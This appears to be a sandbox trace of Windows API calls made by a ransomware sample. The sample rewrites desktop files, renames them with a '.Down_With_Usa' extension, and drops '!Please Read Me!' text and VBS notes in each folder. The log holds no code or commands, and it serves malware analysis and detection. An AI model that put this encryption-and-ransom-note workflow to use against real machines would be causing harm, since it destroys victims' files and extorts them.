[0115.547] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\sGus9MqEj6Yk560bB0dL.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\sgus9mqej6yk560bb0dl.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\sGus9MqEj6Yk560bB0dL.odp.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\sgus9mqej6yk560bb0dl.odp.down_with_usa")) returned 1
[0115.549] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\U-IuASDYwxO3fbK.bmp", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\U-IuASDYwxO3fbK.bmp", lpFilePart=0x0) returned 0x52
[0115.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0115.549] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\U-IuASDYwxO3fbK.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\u-iuasdywxo3fbk.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0115.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0115.550] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0x11fa1
[0115.550] ReadFile (in: hFile=0x3a8, lpBuffer=0x268a5f0, nNumberOfBytesToRead=0x11fa1, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x268a5f0*, lpNumberOfBytesRead=0x2eb358*=0x11fa1, lpOverlapped=0x0) returned 1
[0115.593] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\U-IuASDYwxO3fbK.bmp", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\U-IuASDYwxO3fbK.bmp", lpFilePart=0x0) returned 0x52
[0115.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0115.593] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\U-IuASDYwxO3fbK.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\u-iuasdywxo3fbk.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0115.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0115.598] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\U-IuASDYwxO3fbK.bmp", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\U-IuASDYwxO3fbK.bmp", lpFilePart=0x0) returned 0x52
[0115.599] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\U-IuASDYwxO3fbK.bmp.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\U-IuASDYwxO3fbK.bmp.Down_With_Usa", lpFilePart=0x0) returned 0x60
[0115.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0115.599] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\U-IuASDYwxO3fbK.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\u-iuasdywxo3fbk.bmp"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52073bd0, ftCreationTime.dwHighDateTime=0x1d5d840, ftLastAccessTime.dwLowDateTime=0x2b4b4f0, ftLastAccessTime.dwHighDateTime=0x1d5e325, ftLastWriteTime.dwLowDateTime=0x216290a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x11fb0)) returned 1
[0115.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0115.599] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\U-IuASDYwxO3fbK.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\u-iuasdywxo3fbk.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\U-IuASDYwxO3fbK.bmp.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\u-iuasdywxo3fbk.bmp.down_with_usa")) returned 1
[0115.600] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x61
[0115.601] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ", nBufferLength=0x105, lpBuffer=0x2eb480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ", lpFilePart=0x0) returned 0x3e
[0115.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb8e0) returned 1
[0115.601] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ", nBufferLength=0x105, lpBuffer=0x2eb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ", lpFilePart=0x0) returned 0x3e
[0115.601] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x61
[0115.601] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0115.601] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2eb580 | out: lpFindFileData=0x2eb580*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0115.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb830) returned 1
[0115.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb7f0) returned 1
[0115.607] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x53
[0115.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb610) returned 1
[0115.607] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0115.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb580) returned 1
[0115.610] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x53
[0115.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb7b0) returned 1
[0115.610] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0115.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb720) returned 1
[0115.613] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x54
[0115.613] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif", nBufferLength=0x105, lpBuffer=0x2eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif", lpFilePart=0x0) returned 0x31
[0115.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebe60) returned 1
[0115.613] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif", nBufferLength=0x105, lpBuffer=0x2eb950, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif", lpFilePart=0x0) returned 0x31
[0115.613] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x54
[0115.613] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0115.613] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2ebb00 | out: lpFindFileData=0x2ebb00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0115.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebdb0) returned 1
[0115.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd70) returned 1
[0115.619] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x46
[0115.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb90) returned 1
[0115.619] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0115.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebb00) returned 1
[0115.623] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x46
[0115.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd30) returned 1
[0115.623] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0115.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebca0) returned 1
[0115.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec080) returned 1
[0115.626] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ebb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0115.626] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x2ebb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26
[0115.626] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x2ebd20 | out: lpFindFileData=0x2ebd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x20dae240, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x20dae240, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0115.627] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x20dae240, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x20dae240, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0115.627] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x881f4fb0, ftCreationTime.dwHighDateTime=0x1d5dee8, ftLastAccessTime.dwLowDateTime=0x8645d910, ftLastAccessTime.dwHighDateTime=0x1d5dd59, ftLastWriteTime.dwLowDateTime=0x1f2746a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x13710, dwReserved0=0x0, dwReserved1=0x0, cFileName="14twDPt60izPLxo82S4.swf.Down_With_Usa", cAlternateFileName="14TWDP~1.DOW")) returned 1
[0115.627] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3aec6660, ftCreationTime.dwHighDateTime=0x1d5dfba, ftLastAccessTime.dwLowDateTime=0xca23aac0, ftLastAccessTime.dwHighDateTime=0x1d5db1c, ftLastWriteTime.dwLowDateTime=0x1f358ee0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xdb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="1g_JOPnK9w7TxVEt.mkv.Down_With_Usa", cAlternateFileName="1G_JOP~1.DOW")) returned 1
[0115.627] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cf2b0, ftCreationTime.dwHighDateTime=0x1d5e465, ftLastAccessTime.dwLowDateTime=0x90a8d300, ftLastAccessTime.dwHighDateTime=0x1d5e72f, ftLastWriteTime.dwLowDateTime=0x1f3cb300, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x81d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2spXr1L63i0rOFWOwGxO.jpg.Down_With_Usa", cAlternateFileName="2SPXR1~1.DOW")) returned 1
[0115.627] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62e71940, ftCreationTime.dwHighDateTime=0x1d5e293, ftLastAccessTime.dwLowDateTime=0xba234f20, ftLastAccessTime.dwHighDateTime=0x1d5dcc2, ftLastWriteTime.dwLowDateTime=0x1f43d720, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xb2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3KX2W5Gx_oMR2z.avi.Down_With_Usa", cAlternateFileName="3KX2W5~1.DOW")) returned 1
[0115.628] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x628e42f0, ftCreationTime.dwHighDateTime=0x1d5e227, ftLastAccessTime.dwLowDateTime=0xeb6eb640, ftLastAccessTime.dwHighDateTime=0x1d5e29a, ftLastWriteTime.dwLowDateTime=0x1f4fbe00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ciBvwtUgoKdRmxR9BZC.odp.Down_With_Usa", cAlternateFileName="CIBVWT~1.DOW")) returned 1
[0115.628] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f23c20, ftCreationTime.dwHighDateTime=0x1d5d8c0, ftLastAccessTime.dwLowDateTime=0xa4f39ad0, ftLastAccessTime.dwHighDateTime=0x1d5e58f, ftLastWriteTime.dwLowDateTime=0x1f594380, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x151a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clTNgHV.mp3.Down_With_Usa", cAlternateFileName="CLTNGH~1.DOW")) returned 1
[0115.628] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0115.628] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a295b20, ftCreationTime.dwHighDateTime=0x1d5dbdb, ftLastAccessTime.dwLowDateTime=0xce0d62f0, ftLastAccessTime.dwHighDateTime=0x1d5e1bd, ftLastWriteTime.dwLowDateTime=0x1f5e0640, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x5380, dwReserved0=0x0, dwReserved1=0x0, cFileName="DhM_7QwBM.avi.Down_With_Usa", cAlternateFileName="DHM_7Q~1.DOW")) returned 1
[0115.628] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc04acda0, ftCreationTime.dwHighDateTime=0x1d5e669, ftLastAccessTime.dwLowDateTime=0xe5d04d60, ftLastAccessTime.dwHighDateTime=0x1d5e827, ftLastWriteTime.dwLowDateTime=0xe5d04d60, ftLastWriteTime.dwHighDateTime=0x1d5e827, nFileSizeHigh=0x0, nFileSizeLow=0x9532, dwReserved0=0x0, dwReserved1=0x0, cFileName="dJlVeYs3JTlELmoZmk3d.m4a", cAlternateFileName="DJLVEY~1.M4A")) returned 1
[0115.628] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa153c500, ftCreationTime.dwHighDateTime=0x1d5e1f0, ftLastAccessTime.dwLowDateTime=0xac901d80, ftLastAccessTime.dwHighDateTime=0x1d5dca8, ftLastWriteTime.dwLowDateTime=0x1f69ed20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x18810, dwReserved0=0x0, dwReserved1=0x0, cFileName="elq1cNIsT.pdf.Down_With_Usa", cAlternateFileName="ELQ1CN~1.DOW")) returned 1
[0115.629] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe8a230, ftCreationTime.dwHighDateTime=0x1d5e24b, ftLastAccessTime.dwLowDateTime=0x4d61fd80, ftLastAccessTime.dwHighDateTime=0x1d5da3f, ftLastWriteTime.dwLowDateTime=0x1f75d400, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x0, dwReserved1=0x0, cFileName="ErnNouUqEe1_z.rtf.Down_With_Usa", cAlternateFileName="ERNNOU~1.DOW")) returned 1
[0115.629] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95bd5050, ftCreationTime.dwHighDateTime=0x1d5dfbe, ftLastAccessTime.dwLowDateTime=0xcfb8c700, ftLastAccessTime.dwHighDateTime=0x1d5df62, ftLastWriteTime.dwLowDateTime=0x1f7cf820, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x126f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FiPz.ppt.Down_With_Usa", cAlternateFileName="FIPZPP~1.DOW")) returned 1
[0115.629] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc007a960, ftCreationTime.dwHighDateTime=0x1d5dc11, ftLastAccessTime.dwLowDateTime=0x211b2760, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x211b2760, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HiTPqgyxdhZUlpDcH", cAlternateFileName="HITPQG~1")) returned 1
[0115.629] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac9a7d70, ftCreationTime.dwHighDateTime=0x1d5de0b, ftLastAccessTime.dwLowDateTime=0x21675360, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x21675360, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="l9QUNeqlGif", cAlternateFileName="L9QUNE~1")) returned 1
[0115.629] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd28334a0, ftCreationTime.dwHighDateTime=0x1d5d7ee, ftLastAccessTime.dwLowDateTime=0x7a3aef50, ftLastAccessTime.dwHighDateTime=0x1d5db35, ftLastWriteTime.dwLowDateTime=0x1f88df00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x11730, dwReserved0=0x0, dwReserved1=0x0, cFileName="m6pr0CPgtqV6i.mp4.Down_With_Usa", cAlternateFileName="M6PR0C~1.DOW")) returned 1
